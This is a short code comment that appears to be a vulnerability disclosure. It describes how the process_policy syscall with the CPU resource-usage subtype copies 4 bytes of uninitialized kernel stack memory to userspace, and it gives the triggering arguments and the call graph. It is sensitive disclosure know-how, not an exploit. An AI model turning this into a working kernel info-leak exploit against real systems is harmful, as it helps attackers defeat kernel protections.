/*
The syscall
process_policy(scope=PROC_POLICY_SCOPE_PROCESS, action=PROC_POLICY_ACTION_GET, policy=PROC_POLICY_RESOURCE_USAGE, policy_subtype=PROC_POLICY_RUSAGE_CPU, attrp=<userbuf>, target_pid=0, target_threadid=<ignored>)
causes 4 bytes of uninitialized kernel stack memory to be written to userspace.
The call graph looks as follows:
process_policy
handle_cpuuse
proc_get_task_ruse_cpu
task_get_cpuusage
[writes scope=1/2/4/0]
[always returns zero]
[writes policyp if scope!=0]
[always returns zero]
copyout
If task_get_cpuusage() set `*scope=0` because none of the flags
TASK_RUSECPU_FLAGS_PERTHR_LIMIT, TASK_RUSECPU_FLAGS_PROC_LIMIT and TASK_RUSECPU_FLAGS_DEADLINE are set in task->rusage_cpu_flags,
proc_get_task_ruse_cpu() does not write anything into `*policyp`, meaning that `cpuattr.ppattr_cpu_attr` in
handle_cpuuse() remains uninitialized. task_get_cpuusage() and proc_get_task_ruse_cpu() always return zero,
so handle_cpuuse() will copy `cpuattr`, including the unititialized `ppattr_cpu_attr` field, to userspace.
